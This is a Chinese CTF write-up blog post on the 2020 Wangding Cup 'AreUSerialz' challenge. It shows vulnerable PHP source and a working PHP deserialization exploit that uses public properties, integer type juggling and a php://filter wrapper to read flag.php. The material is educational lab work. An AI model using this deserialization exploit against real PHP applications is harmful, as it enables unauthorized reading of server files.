[网鼎杯 2020 青龙组]AreUSerialz(超详细)

前言

一周一更,这是第二周啦,还是一道PHP审计题。学了蛮久了,终于算是懂了一点了。话不多说,直接开始。

正文部分

进入题目,直接上源码

<?php
include("flag.php");
highlight_file(__FILE__);//文件包含,可以联想到php://filter伪协议读取文件
class FileHandler {
    protected $op;//protected保护类,成员可以被自身及其子类和父类访问
    protected $filename;
    protected $content;
    function __construct() { //析构函数
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process(); 
    }
    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();//弱比较,如果是op=2,运行read函数,并将运行后的结果赋值res,然后将$res放到output函数种
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
    private function write() {//private私有类只能自身访问,无法从外部类访问
        if(isset($this->filename) && isset($this->content))                   if(strlen((string)$this->content) > 100) {//判断content的长度是否大于100
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);//file_put_contents将一个字符串写入文件
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }
    function __destruct() {//析构函数,该函会在类的一个对象被删除时自动调用
        if($this->op === "2")//强比较必需相等
            $this->op = "1";//将1赋值给op
        $this->content = "";//将content至空
        $this->process();
    }
}
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))//ord返回()内字符对应的Unicode数值,若s字符数组种有字符的编码不在32-125则报错
            return false;
    return true;
}
if(isset($_GET{'str'})) {
    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }
}

看完代码后,有一个简单的思路:构造一个payload取执行rend()函数,读取flag.php的内容

开始分析:

GET方式传入序列化的str字符串,str字符串中每个字符的ASCII范围在32-125之间,然后对其反序列化

在反序列化的过程中,调用_destruct析构方法

function __destruct() {
    if($this->op === "2")
        $this->op = "1";
    $this->content = "";
    $this->process();
}

如果op==="2",将其赋为"1",同时content赋为空,进入process函数,需要注意的地方是,这op与"2"比较的时候是强类型比较

public function process() {
    if($this->op == "1") {
        $this->write();
    } else if($this->op == "2") {
        $res = $this->read();
        $this->output($res);
    } else {
        $this->output("Bad Hacker!");
    }
}

进入process函数后,如果op=="1",则进入write函数,若op=="2",则进入read函数,否则输出报错,可以看出来op与字符串的比较类型变成了弱比较==。

所以我们只要令op=2,这里的2是整数int。当op=2时,op==="2"为false,op=="2"为true,接着进入read函数

private function read() {
    $res = "";
    if(isset($this->filename)) {
        $res = file_get_contents($this->filename);
    }
    return $res;
}

filename是我们可以控制的,接着使用file_get_contents函数读取文件,我们使用php://filter伪协议读取文件,获取到文件后使用output函数输出

private function output($s) {
    echo "[Result]: <br>";
    echo $s;
}

总结 :

在反序列化的时候,调用_destruct方法,op==="2"且content为空。然后进入process函数,此时令op=2,再进入read函数,利用file_get_contents函数读取文件,(借助php://filter为协议),获取文件后使用output函数输出

思路清晰,开始反序列化:

<?php
class FileHandler{
    public $op = 2;
    public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
    public $content = 2;
}
$a = new FileHandler();
echo serialize($a);
?>

反序列化中的两个绕过:

1.

is_valia(): 要求我们传入的str的每个字母的ascii值在32和125之间。因为protected属性在序列化之后会出现不可见字符\00*\00,不符合上面的要求。

绕过方法: 因为php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化不会出现不可见字符

2.

destruct()魔术方法

op==="2",是强比较,而在process()函数中,op=="2"是弱比较

绕过方法:可以使传入的op是数字2,从而使第一个强比较返回false, 而使第二个弱比较返回true.

最后我们传入参数,将得到的结果进行base64解密,得到flag

总结:

感觉好难学啊!哎,慢慢来吧,会熬出头的

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值